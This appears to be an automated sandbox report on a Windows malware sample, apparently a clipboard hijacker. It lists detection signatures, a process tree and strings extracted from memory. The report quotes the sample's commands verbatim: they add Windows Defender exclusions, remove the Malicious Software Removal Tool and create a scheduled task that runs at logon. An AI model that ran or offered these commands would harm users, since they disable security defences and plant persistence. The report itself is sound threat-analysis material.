Edit tour

Windows Analysis Report
SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe
Analysis ID:	1543318
MD5:	330709f05491b4e01ddf2af087d4e4f3
SHA1:	0f94e0f3f7ef87df645847f84a94572192f5fc39
SHA256:	3fa9bb2dffef3935ed2795dace89eec65270bd22a71e365ec1f55e0bf301fab5
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Adds a directory exclusion to Windows Defender

Creates an undocumented autostart registry key

Drops large PE files

Found direct / indirect Syscall (likely to bypass EDR)

Loading BitLocker PowerShell Module

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Execution from Suspicious Folder

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses schtasks.exe or at.exe to add and modify task schedules

Changes image file execution options

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64native

SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe (PID: 1792 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe" MD5: 330709F05491B4E01DDF2AF087D4E4F3)

powershell.exe (PID: 2172 cmdline: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WmiPrvSE.exe (PID: 2844 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 5084 cmdline: "cmd.exe" /c "wusa /uninstall /kb:890830 /quiet /norestart" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

wusa.exe (PID: 7004 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: E43499EE2B4CF328A81BACE9B1644C5D)

cmd.exe (PID: 4076 cmdline: "cmd.exe" /c "del /f /q %SystemRoot%\System32\MRT.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6440 cmdline: "cmd.exe" /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

reg.exe (PID: 5504 cmdline: reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

SppExtComObj.exe (PID: 6848 cmdline: "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe" MD5: 43D7DA08F086122E16773B9002C05B1F)

SgrmBroker.exe (PID: 7500 cmdline: "C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe" MD5: B22A88CB0DDC70FA01E392173505458C)

cmd.exe (PID: 7928 cmdline: "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 8096 cmdline: schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest MD5: 796B784E98008854C27F4B18D287BA30)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe", CommandLine: "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe", CommandLine|base64offset|contains: , Image: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe, NewProcessName: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe, OriginalFileName: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ParentProcessId: 1792, ParentProcessName: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ProcessCommandLine: "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe", ProcessId: 6848, ProcessName: SppExtComObj.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest", CommandLine: "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe", ParentImage: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe, ParentProcessId: 7500, ParentProcessName: SgrmBroker.exe, ProcessCommandLine: "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest", ProcessId: 7928, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ParentProcessId: 1792, ParentProcessName: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", ProcessId: 2172, ProcessName: powershell.exe

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 1099466887, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ProcessId: 1792, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpview.exe\MinimumStackCommitInBytes

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ParentProcessId: 1792, ParentProcessName: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force", ProcessId: 2172, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

ReversingLabs: Detection: 21%

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: sunshine_clipper.pdb source: SgrmBroker.exe, 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp, SgrmBroker.exe, 00000018.00000000.2352610812.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: gametoolset.pdb source: SppExtComObj.exe, 00000017.00000000.2292286211.00007FF68609E000.00000002.00000001.01000000.00000008.sdmp, SppExtComObj.exe, 00000017.00000002.2572042733.00007FF68609E000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: sunshine_clipper.pdbHG source: SgrmBroker.exe, 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp, SgrmBroker.exe, 00000018.00000000.2352610812.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmp

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1683814431.00000245B10D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicK
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675392956.00000245B1310000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1725977931.00000245B1212000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675392956.00000245B1310000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1725977931.00000245B1212000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt05
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675087516.00000245B10C3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2410579033.00000236ACB03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: powershell.exe, 0000000C.00000002.1965404029.000002139A1D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 0000000C.00000002.1965404029.000002139A1D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675392956.00000245B1310000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1725977931.00000245B1212000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675087516.00000245B10C3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2410579033.00000236ACB03000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675392956.00000245B1310000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1725977931.00000245B1212000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675087516.00000245B10C3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2410579033.00000236ACB03000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1675087516.00000245B10C3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2410579033.00000236ACB03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com1.3.6.1.5.5.7.48.2http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: SgrmBroker.exe, 00000018.00000003.2410579033.00000236ACB03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crl
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.pngXzy
Source: powershell.exe, 0000000C.00000002.1967236251.000002139A336000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.c
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000C.00000002.1942235658.00000213821D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlXzy
Source: powershell.exe, 0000000C.00000002.1967642062.000002139A4FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000000C.00000002.1942235658.00000213821D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC5F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACCAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/news/BreakingNews_72x72.svg
Source: powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: SppExtComObj.exe, 00000017.00000002.2572042733.00007FF68609E000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://docs.rs/rustls/latest/rustls/manual/_03_howto/index.html#unexpected-eof
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/downloadthumbnail/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/downloadthumbnail/.dllY
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgames2/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgames2/H
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgames2/P
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgames2/Y
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgames2/y
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgamesettings2/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgamesettings2/B
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gameplayapi.intel.com/api/games/getagsgamesettings2/j
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/PesterXzy
Source: powershell.exe, 0000000C.00000002.1967642062.000002139A4FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/B
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/R
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgames2/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgames2/Z
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgames2/y
Source: SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/Q
